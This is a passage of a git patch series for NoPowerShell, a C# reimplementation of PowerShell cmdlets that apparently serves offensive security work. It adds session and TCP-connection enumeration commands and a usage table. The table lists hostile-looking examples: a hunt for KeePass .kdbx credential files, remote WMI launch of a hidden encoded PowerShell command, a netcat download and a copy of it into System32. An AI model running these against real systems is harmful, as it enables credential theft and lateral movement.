Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | +| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | +| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.cmd,*.bat,*.ps1,*.psm1,*.psd1` | +| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | +| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | +| List processes | `Get-Process` | +| List processes - Alternative | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | +| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | +| Kill process | `Stop-Process -Force -Id 4512` | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| Show information about the system | `Get-ComputerInfo` | +| Show information about the system - Alternative | `systeminfo` | +| Show information about the system not listing patches | `systeminfo -Simple` | +| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | +| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | +| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | +| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | +| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | +| Check for open port | `tnc bitsadm.in -Port 80` | +| List ARP table entries | `Get-NetNeighbor` | +| List ARP table entries - Alternative | `arp` | +| Show the IP routing table | `Get-NetRoute` | +| Show the IP routing table - Alternative | `route` | +| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | +| Show network interfaces | `Get-NetIPAddress` | +| Show network interfaces - Alternative | `ipconfig` | +| Show network interfaces - Alternative | `ifconfig` | +| Show all network interfaces | `Get-NetIPAddress -All` | +| Show all network interfaces - Alternative | `ipconfig -All` | +| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | +| List SMB shares on the computer | `Get-SmbShare` | +| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | +| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | +| Count number of results | `Get-Process \| Measure-Object` | +| Count number of results - Alternative | `Get-Process \| measure` | +| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | +| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | +| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | +| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | +| Show only the Name in a file listing | `ls C:\ \| select Name` | +| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | +| Sort processes by name descending | `ps \| sort -d name` | +| Format output as a table | `Get-Process \| Format-Table` | +| Format output as a table - Alternative | `Get-Process \| ft` | +| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | +| Format output as a list | `Get-LocalUser \| Format-List` | +| Format output as a list - Alternative | `Get-LocalUser \| fl` | +| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | +| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | diff --git a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs index de10829..ee7d0f1 100644 --- a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs +++ b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs @@ -150,16 +150,6 @@ public override CommandResult Execute(CommandResult pipeIn) i++; } - - // Alternative(s) - //string alt = null; - //if (examplestrings.Count > 1) - //{ - // List alternatives = examplestrings.GetRange(1, example.Examples.Count - 1); - // alt = string.Format("`{0}`", string.Join("`, `", alternatives.ToArray())); - //} - - //Console.WriteLine("| {0} | `{1}` | {2} |", example.Description, examplestrings[0], alt); } } diff --git a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs index 1aa032b..5ef49f6 100644 --- a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs @@ -272,7 +272,7 @@ private static string GetModeFlags(FileSystemInfo f) } ), new ExampleEntry("List the keys under the SOFTWARE key in the registry", "ls HKLM:\\SOFTWARE"), - new ExampleEntry("Search for files which can contain sensitive data on the C-drive", "ls -Recurse -Force C:\\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql"), + new ExampleEntry("Search for files which can contain sensitive data on the C-drive", "ls -Recurse -Force C:\\ -Include *.cmd,*.bat,*.ps1,*.psm1,*.psd1"), }; } } From 3613bc80b9025f212897441c954e8bf18685260e Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Wed, 23 Dec 2020 17:40:31 +0100 Subject: [PATCH 14/23] Added 2 cmdlets + some minor improvements * Added: Query-WinStation (qwinsta), Get-NetTCPConnection (netstat) * Minor improvements/bugfixes * Fixed naming convention --- .../ActiveDirectory/GetADComputerCommand.cs | 1 + .../{GetADTrust.cs => GetADTrustCommand.cs} | 4 +- ...mbShare.cs => GetRemoteSmbShareCommand.cs} | 330 +++++++++--------- .../Additional/QueryWinStationCommand.cs | 283 +++++++++++++++ .../Commands/Core/WhereObjectCommand.cs | 1 + .../LocalAccounts/GetLocalUserCommand.cs | 6 +- .../Commands/NetTCPIP/GetNetRouteCommand.cs | 3 + .../NetTCPIP/GetNetTCPConnectionCommand.cs | 78 +++++ .../NoPowerShell/HelperClasses/LDAPHelper.cs | 14 +- 9 files changed, 547 insertions(+), 173 deletions(-) rename Source/NoPowerShell/Commands/ActiveDirectory/{GetADTrust.cs => GetADTrustCommand.cs} (98%) rename Source/NoPowerShell/Commands/Additional/{GetRemoteSmbShare.cs => GetRemoteSmbShareCommand.cs} (94%) create mode 100644 Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs create mode 100644 Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs index 5cb805b..6685d92 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs @@ -103,6 +103,7 @@ public override CommandResult Execute(CommandResult pipeIn) new ExampleEntry("List all properties of the DC01 domain computer", "Get-ADComputer -Identity DC01 -Properties *"), new ExampleEntry("List all Domain Controllers", "Get-ADComputer -LDAPFilter \"(msDFSR-ComputerReferenceBL=*)\""), new ExampleEntry("List all computers in domain", "Get-ADComputer -Filter *"), + new ExampleEntry("List domain controllers", "Get-ADComputer -searchBase \"OU=Domain Controllers,DC=bitsadmin,DC=local\" -Filter *"), new ExampleEntry("List specific attributes of the DC01 domain computer", "Get-ADComputer DC01 -Properties Name,operatingSystem") }; } diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrustCommand.cs similarity index 98% rename from Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs rename to Source/NoPowerShell/Commands/ActiveDirectory/GetADTrustCommand.cs index 0cb9370..63755fe 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrustCommand.cs @@ -13,9 +13,9 @@ namespace NoPowerShell.Commands.ActiveDirectory { - public class GetADTrust : PSCommand + public class GetADTrustCommand : PSCommand { - public GetADTrust(string[] userArguments) : base(userArguments, SupportedArguments) + public GetADTrustCommand(string[] userArguments) : base(userArguments, SupportedArguments) { } diff --git a/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs b/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShareCommand.cs similarity index 94% rename from Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs rename to Source/NoPowerShell/Commands/Additional/GetRemoteSmbShareCommand.cs index 027bd1e..e6a1e0e 100644 --- a/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs +++ b/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShareCommand.cs @@ -1,165 +1,165 @@ -using NoPowerShell.Arguments; -using NoPowerShell.HelperClasses; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -/* -Author: @bitsadmin -Website: https://github.com/bitsadmin -License: BSD 3-Clause -*/ - -namespace NoPowerShell.Commands.Additional -{ - public class GetRemoteSmbShare : PSCommand - { - public GetRemoteSmbShare(string[] arguments) : base(arguments, SupportedArguments) - { - } - - public override CommandResult Execute(CommandResult pipeIn) - { - string server = _arguments.Get("Server").Value; - - if (string.IsNullOrEmpty(server)) - throw new NoPowerShellException("Mandatory -Server argument missing"); - - server = server.Replace(@"\\", ""); - - GetNetShares gns = new GetNetShares(); - GetNetShares.SHARE_INFO_1[] shares = gns.EnumNetShares(server); - - foreach(GetNetShares.SHARE_INFO_1 share in shares) - { - _results.Add( - new ResultRecord() - { - { "Name", share.shi1_netname }, - { "Description", share.shi1_remark } - //{ "Type", share.shi1_type.ToString() } - } - ); - } - - return _results; - } - - // Source: https://www.pinvoke.net/default.aspx/netapi32/netshareenum.html - public class GetNetShares - { - #region External Calls - [DllImport("Netapi32.dll", SetLastError = true)] - static extern int NetApiBufferFree(IntPtr Buffer); - [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] - private static extern int NetShareEnum( - StringBuilder ServerName, - int level, - ref IntPtr bufPtr, - uint prefmaxlen, - ref int entriesread, - ref int totalentries, - ref int resume_handle - ); - #endregion - #region External Structures - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct SHARE_INFO_1 - { - public string shi1_netname; - public uint shi1_type; - public string shi1_remark; - public SHARE_INFO_1(string sharename, uint sharetype, string remark) - { - this.shi1_netname = sharename; - this.shi1_type = sharetype; - this.shi1_remark = remark; - } - public override string ToString() - { - return shi1_netname; - } - } - #endregion - const uint MAX_PREFERRED_LENGTH = 0xFFFFFFFF; - const int NERR_Success = 0; - private enum NetError : uint - { - NERR_Success = 0, - NERR_BASE = 2100, - NERR_UnknownDevDir = (NERR_BASE + 16), - NERR_DuplicateShare = (NERR_BASE + 18), - NERR_BufTooSmall = (NERR_BASE + 23), - } - private enum SHARE_TYPE : uint - { - STYPE_DISKTREE = 0, - STYPE_PRINTQ = 1, - STYPE_DEVICE = 2, - STYPE_IPC = 3, - STYPE_SPECIAL = 0x80000000, - } - public SHARE_INFO_1[] EnumNetShares(string Server) - { - List ShareInfos = new List(); - int entriesread = 0; - int totalentries = 0; - int resume_handle = 0; - int nStructSize = Marshal.SizeOf(typeof(SHARE_INFO_1)); - IntPtr bufPtr = IntPtr.Zero; - StringBuilder server = new StringBuilder(Server); - int ret = NetShareEnum(server, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref entriesread, ref totalentries, ref resume_handle); - if (ret == NERR_Success) - { - IntPtr currentPtr = bufPtr; - for (int i = 0; i < entriesread; i++) - { - SHARE_INFO_1 shi1 = (SHARE_INFO_1)Marshal.PtrToStructure(currentPtr, typeof(SHARE_INFO_1)); - ShareInfos.Add(shi1); - currentPtr = new IntPtr(currentPtr.ToInt64() + nStructSize); // Updated to support .NET 2.0 - } - NetApiBufferFree(bufPtr); - return ShareInfos.ToArray(); - } - else - { - ShareInfos.Add(new SHARE_INFO_1("ERROR=" + ret.ToString(), 10, string.Empty)); - return ShareInfos.ToArray(); - } - } - } - - public static new CaseInsensitiveList Aliases - { - get { return new CaseInsensitiveList() { "Get-RemoteSmbShare", "netview" }; } - } - - public static new ArgumentList SupportedArguments - { - get - { - return new ArgumentList() - { - new StringArgument("Server") - }; - } - } - - public static new string Synopsis - { - get { return "Retrieves the SMB shares of a computer."; } - } - - public static new ExampleEntries Examples - { - get - { - return new ExampleEntries() - { - new ExampleEntry("List SMB shares of MyServer", "Get-RemoteSmbShare \\\\MyServer") - }; - } - } - } -} +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Additional +{ + public class GetRemoteSmbShareCommand : PSCommand + { + public GetRemoteSmbShareCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string server = _arguments.Get("Server").Value; + + if (string.IsNullOrEmpty(server)) + throw new NoPowerShellException("Mandatory -Server argument missing"); + + server = server.Replace(@"\\", ""); + + GetNetShares gns = new GetNetShares(); + GetNetShares.SHARE_INFO_1[] shares = gns.EnumNetShares(server); + + foreach(GetNetShares.SHARE_INFO_1 share in shares) + { + _results.Add( + new ResultRecord() + { + { "Name", share.shi1_netname }, + { "Description", share.shi1_remark } + //{ "Type", share.shi1_type.ToString() } + } + ); + } + + return _results; + } + + // Source: https://www.pinvoke.net/default.aspx/netapi32/netshareenum.html + public class GetNetShares + { + #region External Calls + [DllImport("Netapi32.dll", SetLastError = true)] + static extern int NetApiBufferFree(IntPtr Buffer); + [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] + private static extern int NetShareEnum( + StringBuilder ServerName, + int level, + ref IntPtr bufPtr, + uint prefmaxlen, + ref int entriesread, + ref int totalentries, + ref int resume_handle + ); + #endregion + #region External Structures + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct SHARE_INFO_1 + { + public string shi1_netname; + public uint shi1_type; + public string shi1_remark; + public SHARE_INFO_1(string sharename, uint sharetype, string remark) + { + this.shi1_netname = sharename; + this.shi1_type = sharetype; + this.shi1_remark = remark; + } + public override string ToString() + { + return shi1_netname; + } + } + #endregion + const uint MAX_PREFERRED_LENGTH = 0xFFFFFFFF; + const int NERR_Success = 0; + private enum NetError : uint + { + NERR_Success = 0, + NERR_BASE = 2100, + NERR_UnknownDevDir = (NERR_BASE + 16), + NERR_DuplicateShare = (NERR_BASE + 18), + NERR_BufTooSmall = (NERR_BASE + 23), + } + private enum SHARE_TYPE : uint + { + STYPE_DISKTREE = 0, + STYPE_PRINTQ = 1, + STYPE_DEVICE = 2, + STYPE_IPC = 3, + STYPE_SPECIAL = 0x80000000, + } + public SHARE_INFO_1[] EnumNetShares(string Server) + { + List ShareInfos = new List(); + int entriesread = 0; + int totalentries = 0; + int resume_handle = 0; + int nStructSize = Marshal.SizeOf(typeof(SHARE_INFO_1)); + IntPtr bufPtr = IntPtr.Zero; + StringBuilder server = new StringBuilder(Server); + int ret = NetShareEnum(server, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref entriesread, ref totalentries, ref resume_handle); + if (ret == NERR_Success) + { + IntPtr currentPtr = bufPtr; + for (int i = 0; i < entriesread; i++) + { + SHARE_INFO_1 shi1 = (SHARE_INFO_1)Marshal.PtrToStructure(currentPtr, typeof(SHARE_INFO_1)); + ShareInfos.Add(shi1); + currentPtr = new IntPtr(currentPtr.ToInt64() + nStructSize); // Updated to support .NET 2.0 + } + NetApiBufferFree(bufPtr); + return ShareInfos.ToArray(); + } + else + { + ShareInfos.Add(new SHARE_INFO_1("ERROR=" + ret.ToString(), 10, string.Empty)); + return ShareInfos.ToArray(); + } + } + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-RemoteSmbShare", "netview" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Server") + }; + } + } + + public static new string Synopsis + { + get { return "Retrieves the SMB shares of a computer."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("List SMB shares of MyServer", "Get-RemoteSmbShare \\\\MyServer") + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs b/Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs new file mode 100644 index 0000000..6c7a766 --- /dev/null +++ b/Source/NoPowerShell/Commands/Additional/QueryWinStationCommand.cs @@ -0,0 +1,283 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using FILETIME = System.Runtime.InteropServices.ComTypes.FILETIME; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class QueryWinStationCommand : PSCommand + { + public QueryWinStationCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string serverName = _arguments.Get("Server").Value; + + // Server handle + IntPtr hServer = IntPtr.Zero; + if (!string.IsNullOrEmpty(serverName)) + hServer = WinStationOpenServerW(serverName); + + // Call RPC function + IntPtr sessionsPtr = IntPtr.Zero; + int count = 0; + uint ret = WinStationEnumerateW(hServer, ref sessionsPtr, ref count); + int error = Marshal.GetLastWin32Error(); + if (ret != 1) + throw new NoPowerShellException("WinStationEnumerateW failed, error 0x{0:X8}", error); + + // Unmarshal result + int structsize = Marshal.SizeOf(typeof(SESSIONIDW)); + SESSIONIDW[] sessions = new SESSIONIDW[count]; + + //PrintLine("SESSIONNAME", null, "USERNAME", "ID", "STATE"); + for (int i = 0; i < count; i++) + { + IntPtr ins = new IntPtr(sessionsPtr.ToInt64() + (i * structsize)); + sessions[i] = (SESSIONIDW)Marshal.PtrToStructure(ins, typeof(SESSIONIDW)); + + // Obtain more details on session + int returnLength = 0; + WINSTATIONINFORMATIONW wsInfo = new WINSTATIONINFORMATIONW(); + string domain = null; + string username = null; + if (WinStationQueryInformationW(hServer, sessions[i].ID, WINSTATIONINFOCLASS.WinStationInformation, ref wsInfo, Marshal.SizeOf(typeof(WINSTATIONINFORMATIONW)), ref returnLength) != 0) + { + domain = wsInfo.Domain; + username = wsInfo.UserName; + } + + // Store in results + SESSIONIDW currentSession = sessions[i]; + _results.Add(CompileResultRecord(currentSession.WinStationName, domain, username, currentSession.ID, currentSession.State)); + } + + // Always return the results so the output can be used by the next command in the pipeline + return _results; + } + + private static ResultRecord CompileResultRecord(string sessionname, string domain, string username, uint id, WINSTATIONSTATECLASS state) + { + string domainUser = string.Empty; + if(!string.IsNullOrEmpty(domain)) + { + if (!string.IsNullOrEmpty(username)) + domainUser = string.Format("{0}\\{1}", domain, username); + } + else if(!string.IsNullOrEmpty(username)) + { + domainUser = username; + } + + return new ResultRecord() + { + { "SessionName", sessionname }, + { "Username", domainUser }, + { "ID", id.ToString() }, + { "State", state.ToString() } + }; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Query-WinStation", "qwinsta", "quser" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Server") + }; + } + } + + public static new string Synopsis + { + get { return "Display information about Remote Desktop Services sessions."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("Query sessions on local machine", "Query-WinStation"), + new ExampleEntry + ( + "Query sessions on a remote machine", + new List() + { + "Query-WinStation -Server DC01.domain.local", + "qwinsta DC01.domain.local" + } + ) + }; + } + } + + // Code inspired by https://github.com/gentilkiwi/mimikatz/ -> mimikatz\modules\kuhl_m_ts.{c,h} + public enum WINSTATIONSTATECLASS + { + Active = 0, + Connected = 1, + ConnectQuery = 2, + Shadow = 3, + Disconnected = 4, + Idle = 5, + Listen = 6, + Reset = 7, + Down = 8, + Init = 9 + } + + public enum WINSTATIONINFOCLASS + { + WinStationCreateData, + WinStationConfiguration, + WinStationPdParams, + WinStationWd, + WinStationPd, + WinStationPrinter, + WinStationClient, + WinStationModules, + WinStationInformation, + WinStationTrace, + WinStationBeep, + WinStationEncryptionOff, + WinStationEncryptionPerm, + WinStationNtSecurity, + WinStationUserToken, + WinStationUnused1, + WinStationVideoData, + WinStationInitialProgram, + WinStationCd, + WinStationSystemTrace, + WinStationVirtualData, + WinStationClientData, + WinStationSecureDesktopEnter, + WinStationSecureDesktopExit, + WinStationLoadBalanceSessionTarget, + WinStationLoadIndicator, + WinStationShadowInfo, + WinStationDigProductId, + WinStationLockedState, + WinStationRemoteAddress, + WinStationIdleTime, + WinStationLastReconnectType, + WinStationDisallowAutoReconnect, + WinStationUnused2, + WinStationUnused3, + WinStationUnused4, + WinStationUnused5, + WinStationReconnectedFromId, + WinStationEffectsPolicy, + WinStationType, + WinStationInformationEx + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct SESSIONIDW + { + public UInt32 ID; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)] + public string WinStationName; + public WINSTATIONSTATECLASS State; + } + + // Structs from https://github.com/danports/cassia/ -> Source\Cassia\Impl\*.cs + [StructLayout(LayoutKind.Sequential)] + public struct PROTOCOLCOUNTERS + { + public int WdBytes; + public int WdFrames; + public int WaitForOutBuf; + public int Frames; + public int Bytes; + public int CompressedBytes; + public int CompressFlushes; + public int Errors; + public int Timeouts; + public int AsyncFramingError; + public int AsyncOverrunError; + public int AsyncOverflowError; + public int AsyncParityError; + public int TdErrors; + public short ProtocolType; + public short Length; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 100)] + public int[] Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CACHE_STATISTICS + { + private readonly short ProtocolType; + private readonly short Length; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 20)] + private readonly int[] Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROTOCOLSTATUS + { + public PROTOCOLCOUNTERS Output; + public PROTOCOLCOUNTERS Input; + public CACHE_STATISTICS Statistics; + public int AsyncSignal; + public int AsyncSignalMask; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct WINSTATIONINFORMATIONW + { + public WINSTATIONSTATECLASS State; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)] + public string WinStationName; + + public int SessionId; + public int Unknown; + public FILETIME ConnectTime; + public FILETIME DisconnectTime; + public FILETIME LastInputTime; + public FILETIME LoginTime; + public PROTOCOLSTATUS ProtocolStatus; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 18)] + public string Domain; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 24)] + public string UserName; + + public FILETIME CurrentTime; + } + + // extern HANDLE WINAPI WinStationOpenServerW(IN PWSTR ServerName); + [DllImport("winsta.dll", CharSet = CharSet.Auto)] + static extern IntPtr WinStationOpenServerW(string ServerName); + + // extern BOOLEAN WINAPI WinStationEnumerateW(IN HANDLE hServer, OUT PSESSIONIDW *SessionIds, OUT PULONG Count); + [DllImport("winsta.dll", CharSet = CharSet.Auto, SetLastError = true)] + static extern uint WinStationEnumerateW(IntPtr hServer, ref IntPtr sessions, ref int count); + + // extern BOOLEAN WINAPI WinStationQueryInformationW(IN HANDLE hServer, IN ULONG SessionId, IN WINSTATIONINFOCLASS WinStationInformationClass, OUT PVOID pWinStationInformation, IN ULONG WinStationInformationLength, OUT PULONG pReturnLength); + [DllImport("winsta.dll", CharSet = CharSet.Auto)] + static extern uint WinStationQueryInformationW(IntPtr hServer, uint SessionId, WINSTATIONINFOCLASS WinStationInformationClass, ref WINSTATIONINFORMATIONW pWinStationInformation, int WinStationInformationLength, ref int pReturnLength); + } +} diff --git a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs index 0a5c55a..8b51c0f 100644 --- a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs +++ b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs @@ -41,6 +41,7 @@ public override CommandResult Execute(CommandResult pipeIn) { foundValue = (tablevalue == checkvalue); } + // Name -ne "value" else if (ne) { foundValue = (tablevalue != checkvalue); diff --git a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs index 87ae2de..09b5794 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs @@ -21,12 +21,12 @@ public override CommandResult Execute(CommandResult pipeIn) string name = _arguments.Get("Name").Value; string sid = _arguments.Get("SID").Value; - string query = "Select Name, Description, Disabled{0} From Win32_UserAccount Where LocalAccount='True'{1}"; + string query = "Select Name, Description, Disabled{0} From Win32_UserAccount{1}"; if (!string.IsNullOrEmpty(name)) - query = string.Format(query, ", SID", string.Format(" And Name='{0}'", name)); + query = string.Format(query, ", SID", string.Format(" Where Name='{0}'", name)); else if (!string.IsNullOrEmpty(sid)) - query = string.Format(query, ", SID", string.Format(" And SID='{0}'", sid)); + query = string.Format(query, ", SID", string.Format(" Where SID='{0}'", sid)); else query = string.Format(query, string.Empty, string.Empty); diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs index 07a88b3..8ee6887 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs @@ -18,6 +18,9 @@ public GetNetRouteCommand(string[] userArguments) : base(userArguments, Supporte public override CommandResult Execute(CommandResult pipeIn) { + // Collect the (optional) ComputerName, Username and Password parameters + base.Execute(); + _results = WmiHelper.ExecuteWmiQuery("Select Caption, Description, Destination, Mask, NextHop From Win32_IP4RouteTable", computername, username, password); return _results; diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs new file mode 100644 index 0000000..7932226 --- /dev/null +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetTCPConnectionCommand.cs @@ -0,0 +1,78 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetNetTCPConnectionCommand : PSCommand + { + public GetNetTCPConnectionCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Collect the (optional) ComputerName, Username and Password parameters + base.Execute(); + + // Perform query + _results = WmiHelper.ExecuteWmiQuery("Root\\StandardCimv2", "Select LocalAddress, LocalPort, OwningProcess, RemoteAddress, RemotePort, State From MSFT_NetTCPConnection", computername, username, password); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get + { + return new CaseInsensitiveList() + { + "Get-GetNetTCPConnection", + "netstat" // unofficial + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Gets TCP connections."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry + ( + "Show TCP connections on the 